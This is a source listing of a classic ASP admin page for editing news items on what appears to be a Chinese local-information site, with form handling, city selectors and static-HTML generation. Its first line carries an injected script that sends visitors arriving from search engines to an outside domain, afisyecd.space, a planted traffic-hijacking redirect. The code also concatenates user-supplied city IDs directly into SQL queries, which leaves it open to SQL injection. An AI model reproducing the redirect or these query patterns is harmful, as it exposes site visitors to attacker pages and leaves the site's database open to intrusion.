d:\wwwroot\wuchunhua\admin\editad_news.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
007: theid=request("id")
008: if isnumeric(theid)=false then
009: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
010: response.end
011: end if
012:
013: dtitle=HtmlEncode(trim(request.form("dtitle")))
014: dcolor=HtmlEncode(trim(request.form("dcolor")))
015: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
016: dcu=HtmlEncode(trim(request.form("dcu")))
017: dpic=HtmlEncode(trim(request.form("dpic")))
018: dtext=HtmlEncode2(request.form("dtext"))
019: dstop=HtmlEncode(trim(request.form("dstop")))
020: dtop=HtmlEncode(trim(request.form("dtop")))
021: city_oneid=HtmlEncode(trim(request.form("city_one")))
022: city_twoid=HtmlEncode(trim(request.form("city_two")))
023: city_threeid=HtmlEncode(trim(request.form("city_three")))
024: dlei=HtmlEncode(trim(request.form("dlei")))
025:
026: if dmoney<>"" then
027:   if isnumeric(dmoney)=false then
028:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
029:   response.end
030:   end if
031: end if
032: if city_oneid<>"" then
033: set rs=server.createobject("adodb.recordset")
034: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
035: city_one=rs("city")
036: rs.close
037: if city_twoid<>"" then
038: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
039: city_two=rs("city")
040: rs.close
041: end if
042: if city_twoid<>"" and city_threeid<>"" then
043: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
044: city_three=rs("city")
045: rs.close
046: end if
047: set rs=nothing
048: end if
049: sql="select * from news_data where adid="&theid
050: set rs=server.createobject("adodb.recordset")
051: rs.open sql,conn,1,3
052:
053:
054: if dtitle<>"" then
055: rs("title")=dtitle
056: rs("color")=dcolor
057: rs("bgcolor1")=dbgcolor1
058: rs("cu")=dcu
059: rs("city_oneid")=city_oneid
060: rs("city_one")=city_one
061: rs("city_two")=city_two
062: if city_twoid="" then city_twoid=0
063: rs("city_twoid")=city_twoid
064: rs("city_three")=city_three
065: if city_threeid="" then city_threeid=0
066: rs("city_threeid")=city_threeid
067: rs("type")=dlei
068: if dpic="http://" then
069: dpic=""
070: end if
071: if rs("pic")<>dpic then
072: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
073: '''''''''''删除图片开始''''''''''''''''
074: Set fdel = CreateObject("Scripting.FileSystemObject")  
075:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
076:                 fdel.DeleteFile(tempImageDir)
077: set fdel=nothing
078: '''''''''''删除图片结束'''''''''''''''
079: end if
080: rs("pic")=dpic
081: end if
082: rs("text")=dtext
083: rs("stop")=dstop
084: rs("top")=dtop
085: rs("time")=request.form("time")
086: rs.update
087: rs.close  
088: set rs=nothing                                                                                    
089: conn.close  
090: set conn=nothing
091: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
092: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
093: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
094: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
095: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
096: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
097: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"news.asp?id="&theid&""
098:
099: set http=server.createobject("MSXML2.XMLHTTP")
100: Http.open "get",ServerURL,false
101: Http.send()
102: AA=Http.responseText
103: set http=nothing
104: set objfso = Server.CreateObject("Scripting.FileSystemObject")
105: set htmout = objfso.CreateTextFile(server.mappath("../html/news/"&theid&".htm"))
106: AA=replace(AA,"post.asp","../../post.asp")
107: AA=replace(AA,"adpic/","../../adpic/")
108: AA=replace(AA,"link.asp","../../link.asp")
109: AA=replace(AA,"link_img.asp","../../link_img.asp")
110: AA=replace(AA,"index.asp","../../index.asp")
111: AA=replace(AA,"114/../../index.asp","../../114/index.asp")
112: AA=replace(AA,"ad.asp","../../ad.asp")
113: AA=replace(AA,"TV.asp","../../tv.asp")
114: AA=replace(AA,"user.asp","../../user.asp")
115: AA=replace(AA,"gbook.asp","../../gbook.asp")
116: AA=replace(AA,"city.asp","../../city.asp")
117: AA=replace(AA,"city_more.asp","../../city_more.asp")
118: AA=replace(AA,"reg.asp","../../reg.asp")
119: AA=replace(AA,"login.asp","../../login.asp")
120: AA=replace(AA,"search.asp","../../search.asp")
121: AA=replace(AA,"114/join.asp","../../114/join.asp")
122: AA=replace(AA,"114/qy../../login.asp","../../114/qylogin.asp")
123: AA=replace(AA,"fabu.asp","../../fabu.asp")
124: AA=replace(AA,"type.asp","../../type.asp")
125: AA=replace(AA,"rq_message.asp","../../rq_message.asp")
126: AA=replace(AA,"top.asp","../../top.asp")
127: AA=replace(AA,"money.asp","../../money.asp")
128: AA=replace(AA,"pic.asp","../../pic.asp")
129: AA=replace(AA,"bbs/","../../bbs/")
130: AA=replace(AA,"html/news/","")
131: AA=replace(AA,"about.asp","../../about.asp")
132: htmout.write replace(AA,"images/","../../images/")
133: htmout.close  
134: set htmout=nothing  
135: set objfso=nothing  
136: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
137: response.redirect "ok.asp"
138: response.end
139: end if%
>
140:
141: <html>
142: <head>
143: <link rel="stylesheet" type="text/css" href="style.css">
144: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
145: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
146: <meta name="ProgId" content="FrontPage.Editor.Document">
147: <title>修改信息</title>
148: <SCRIPT LANGUAGE="JavaScript">
149: <!--//
150: function checkadd()
151: {  
152:
153:                    //检查年月日是否是合法日期
154:
155:                    function isdate(intYear,intMonth,intDay){
156:
157:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
158:
159:                       if(intMonth>12||intMonth<1) return false;  
160:
161:                       if ( intDay<1||intDay>31)return false;  
162:
163:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
164:
165:                       if(intMonth==2){  
166:
167:                          if(intDay>29) return false;    
168:
169:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
170:
171:                         }  
172:
173:                       return true;  
174:
175:                    }  
176:
177:     if (document.postart.dtitle.value.length<1)
178:    {
179:         alert("请填写信息标题!");
180:         document.postart.dtitle.focus();
181:         return false;
182:     }
183:     if (document.postart.dlei.value=="选择信息类别")
184:    {
185:         alert("请选择信息类别!");
186:         document.postart.dlei.focus();
187:         return false;
188:     }
189:     if (document.postart.dtext.value.length>20000)
190:    {
191:         alert("请把信息内容的字数控制在20000以内!");
192:         document.postart.dtext.focus();
193:         return false;
194:     }
195:
196:     if (document.postart.dstop.value=="选择有效期")
197:    {
198:         alert("请选择有效期!");
199:         document.postart.dstop.focus();
200:         return false;
201:     }
202: }
203: //-->

204: </SCRIPT>
205: <SCRIPT LANGUAGE="JavaScript">      
206: <!-- Begin
207: maxLen = 20000;
208: function checkMaxInput(form) {
209: if (form.dtext.value.length > maxLen)
210: form.remLen.value = 0;
211: else form.remLen.value = maxLen - form.dtext.value.length;
212: }
213: //  End -->

214: </script>
215: <script language="javascript" type="text/javascript">
216: <!--
217: function changeColor(o) {
218:     document.getElementById("colorBox").style.color = o.value;
219: }
220: //-->

221: </script>
222: <script language="javascript" type="text/javascript">
223: <!--
224: function changeColor1(o) {
225:     document.getElementById("colorBox1").style.background = o.value;
226: }
227: //-->

228: </script>
229: </head>
230:
231: <body background="images/background.gif">
232: <div align="center">
233: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
234:   <tr>
235:       <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">编
236:         辑 新 闻 内 容</font></td>
237:   </tr>
238:   <tr>
239:     <td align="center" bgcolor="#FFFFFF"> <br>
240:       <form action="" method="post" name="postart" onsubmit="return checkadd()">
241:           <table width="98%" border="0" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
242:             <tr bgcolor="#FFFFFF">
243:               <td width="27%" height="26" align="right">新闻标题:</td>
244:               <td height="26" colspan="2">
245:                 <input type="text" name="dtitle" size="40" maxlength="40" value="<%=rs("title")%>">
246:                 <font color="#FF0000">*<%=rs("ip")%></font></td>
247:             </tr>
248:             <tr bgcolor="#FFFFFF">
249:               <td height="26" align="right">是否加粗:</td>
250:               <td height="26" colspan="2">
251:                 <input type="radio" value="no" <%if rs("cu")="no" then%>checked<%end if%> name="dcu">
252:                 否&nbsp;
253:                 <input type="radio" value="yes" name="dcu" <%if rs("cu")="yes" then%>checked<%end if%>>
254:                 是</td>
255:             </tr>
256:             <tr bgcolor="#FFFFFF">
257:               <td align="right">标题颜色:</td>
258:               <td width="160" height="26">
259:                 <input name="dcolor" type="text" id="dcolor" onchange="changeColor(this);" value="<%=rs("color")%>" size="8" />
260:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
261:               </td>
262:               <td rowspan="2">
263:                 <div align="center">
264:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
265:                     <tr>
266:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
267:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
268:                           <tr>
269:                             <td></td>
270:                           </tr>
271:                         </table>
272:                         <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>"><b>原来的标题和背景颜色</b></font></td>
273:                     </tr>
274:                   </table>
275:                   <table width="166" border="0" cellspacing="0" cellpadding="0" height="2">
276:                     <tr>
277:                       <td></td>
278:                     </tr>
279:                   </table>
280:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#CAE2F8">
281:                     <tr>
282:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
283:                         <div id="colorBox1" style="width: 180px;height: 24px">
284:                           <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
285:                             <tr>
286:                               <td></td>
287:                             </tr>
288:                           </table>
289:                           <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>">
290:                           <div id="colorBox"><b>修改后标题和背景颜色</b></div>
291:                           </font> </div>
292:                       </td>
293:                     </tr>
294:                   </table>
295:                 </div>
296:               </td>
297:             </tr>
298:             <tr bgcolor="#FFFFFF">
299:               <td align="right">标题背景:</td>
300:               <td height="26">
301:                 <input name="dbgcolor1" type="text" id="dbgcolor1" onchange="changeColor1(this);" value="<%=rs("bgcolor1")%>" size="8" />
302:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
303:               </td>
304:             </tr>
305:             <tr bgcolor="#FFFFFF">
306:               <td height="26" align="right">选择城市:</td>
307:               <td height="26" colspan="2">
308:                <%
309: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
310: %
>
311:       <script language = "JavaScript">
312: var onecount;
313: onecount=0;
314: subcat = new Array();
315:         <%
316:       dim count:count = 0
317:         do while not rsi.eof
318:         %
>
319: subcat[<%=count%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
320:         <%
321:         count = count + 1
322:         rsi.movenext
323:         loop
324:         rsi.close
325:       set rsi=nothing
326:         %
>
327: onecount=<%=count%>;
328: </script>
329: <%
330: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
331: %
>
332: <script language = "JavaScript">
333: var onecount4;
334: onecount4=0;
335: subcat4 = new Array();
336:         <%
337:       dim count4:count4 = 0
338:         do while not rsi.eof
339:         %
>
340: subcat4[<%=count4%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
341:         <%
342:         count4 = count4 + 1
343:         rsi.movenext
344:         loop
345:         rsi.close
346:       set rsi = nothing
347:         %
>
348: onecount4=<%=count4%>;
349:
350: function changelocation(locationid)
351:     {
352:     document.postart.city_two.length = 0;
353:    document.postart.city_two.options[0] = new Option('选择城市','');
354:    document.postart.city_three.length = 0;
355:    document.postart.city_three.options[0] = new Option('选择城市','');
356:     var locationid=locationid;
357:     var i;
358:     for (i=0;i < onecount; i++)
359:         {
360:             if (subcat[i][1] == locationid)
361:             {
362:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
363:             }        
364:         }
365:         
366:     }    
367:   
368:    function changelocation4(locationid,locationid1)
369:     {
370:     document.postart.city_three.length = 0;
371:     document.postart.city_three.options[0] = new Option('选择城市','');
372:     var locationid=locationid;
373:     var locationid1=locationid1;
374:     var i;
375:     for (i=0;i < onecount4; i++)
376:         {
377:             if (subcat4[i][2] == locationid)
378:             {
379:          if (subcat4[i][1] == locationid1)
380:          {
381:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
382:             }        
383:         }
384:        }
385:     }            
386:               </script>
387:       <select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
388:             <option value="" selected>选择城市</option>
389:   <%  set rsi=conn.execute("select * from china_city where id>0 and twoid=0 and threeid=0")
390: if rsi.eof or rsi.bof then
391: response.write "<option value=''>没有分类</option>"
392: else
393: do until rsi.eof%
>
394:   <option value="<%=rsi("id")%>" <%if rsi("id")=rs("city_oneid") then%>selected<%end if%>><%=rsi("city")%></option>
395: <%rsi.movenext
396:     loop
397:    %
>
398:    <%end if
399: rsi.close
400: set rsi = nothing
401: %
>
402:       </select>
403:      <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
404:     <option value="" selected>选择城市</option>
405:    <%
406: set rsi=conn.execute("select * from china_city where id="&rs("city_oneid")&" and twoid>0 and threeid=0")
407: if rsi.eof and rsi.bof then
408: response.write "<option value=''>没有分类</option>"
409: else
410: do until rsi.eof%
>
411:   <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
412: <%rsi.movenext
413:     loop
414:    %
>
415:    <%end if
416: rsi.close
417: set rsi = nothing
418: %
>
419:    </select>
420:         <select name="city_three" id="city_three">
421:          <option value="" selected>选择城市</option>
422:       <%
423: set rsi=conn.execute("select * from china_city where id="&rs("city_oneid")&" and twoid="&rs("city_twoid")&" and threeid<>0")
424: if rsi.eof and rsi.bof then
425: response.write "<option value=''>没有分类</option>"
426: else
427: do until rsi.eof%
>
428: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("city_threeid") then%>selected<%end if%>><%=rsi("city")%></option>
429:    <% rsi.movenext
430:     loop
431:    %
>
432: <%end if
433: rsi.close
434: set rsi = nothing
435: %
>
436:     </select>
437:                 <font color="#FF0000">*</font> </td>
438:             </tr>
439:             <tr bgcolor="#FFFFFF">
440:               <td height="26" align="right">新闻类别:</td>
441:               <td height="26" colspan="2">
442:                 <select name="dlei" size="1">
443:                   <%set rs_lei = server.createobject("adodb.recordset")                                                                                                                                                                                                
444:          sql = "select * from news_type"                                                                                                                                                                                                
445:          rs_lei.open sql,conn,1,1                                                                                                                                                                                                
446:          do while not rs_lei.eof%
>
447:                   <option value="<%=rs_lei("name")%>" <%if rs_lei("name")=rs("type") then%>selected<%end if%>><%=rs_lei("name")%></option>
448:                   <%rs_lei.movenext                                                                                                                                                                                                
449:         loop                                                                                                
450:         rs_lei.close                                                                                                                                                                                                
451:         set rs_lei = nothing%
>
452:                 </select>
453:               </td>
454:             </tr>
455:             <tr bgcolor="#FFFFFF">
456:               <td height="26" align="right">图片路径:</td>
457:               <td height="26" colspan="2">
458:                 <script language="Javascript">
459: function openScript(url, width, height){
460:    var Win = window.open(url,"openScript",'width=' + width + ',height=' + height + ',resizable=1,scrollbars=no,menubar=no,frameborder=0,status=yes' );
461: }
462: function openem()
463: {
464: openScript('../upad.htm',400,100);
465: }
466:       </script>
467:                 <input type="text" name="dpic" size="30" value="<%=rs("pic")%>">
468: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe><br>
469:                 <%if pic<>"" then%>
470:                 <a href="<%if lcase(left(rs("pic"),7))<>"http://" then%>../adpic/<%end if%><%=rs("pic")%>" target="_blank"><img src="<%if lcase(left(rs("pic"),7))<>"http://" then%>../adpic/<%end if%><%=rs("pic")%>" border="0" width="180" height="123"></a>
471:                 <%else%>
472:                 暂无图片
473:                 <%end if%>
474:               </td>
475:             </tr>
476:             <tr bgcolor="#FFFFFF">
477:               <td height="26" align="right" valign="top">新闻内容:</td>
478:               <td colspan="2">
479:                 <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"><%if rs("text")<>"" then%><%=replace(rs("text"),"<br>",vbcrlf)%><%end if%>
480:       </textarea>
481:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
482:                 目前还可写
483:                 <input readonly type=text name=remLen size=4 maxlength=4 style="border: 1 solid #888888">
484:                 个字!</font> </td>
485:             </tr>
486:             <tr bgcolor="#FFFFFF">
487:               <td height="26" align="right">生效日期:</td>
488:               <td height="26" colspan="2">
489:                 <input name="time" size="15" maxlength="50" value="<%=rs("time")%>">
490:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
491:             </tr>
492:             <tr bgcolor="#FFFFFF">
493:               <td height="26" align="right">有效期至:</td>
494:               <td height="26" colspan="2">
495:                 <input name="dstop" size="15" maxlength="50" value="<%=rs("stop")%>">
496:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
497:             </tr>
498:             <tr bgcolor="#FFFFFF">
499:               <td height="26" align="right">是否固顶:</td>
500:               <td height="26" colspan="2">
501:                 <input type="radio" value="0" name="dtop" <%if rs("top")="0" then%>checked<%end if%>>
502:                 否&nbsp;
503:                 <input type="radio" value="1" name="dtop" <%if rs("top")="1" then%>checked<%end if%>>
504:                 是</td>
505:             </tr>
506:             <tr bgcolor="#FFFFFF">
507:               <td height="30" align="right"> </td>
508:               <td height="30" colspan="2" align="right">
509:                 <p align="left">
510:                   <input type="submit" value="修改" name="submit">
511:                   &nbsp;
512:                   <input type="reset" value="取消" name="reset">
513:                   &nbsp;
514:                   <input type="button" value="返回" name="back" onclick="javascript:history.back()">
515:               </td>
516:             </tr>
517:           </table>
518:       </form>
519:       <br>    </td>
520:   </tr>
521: </table>
522: </div>
523: <br>                                                                                                                      
524: </body>
525: </html>                    
526: <%rs.close                      
527: set rs=nothing                                                                                                        
528: conn.close                      
529: set conn=nothing%
>
530:
531:
532: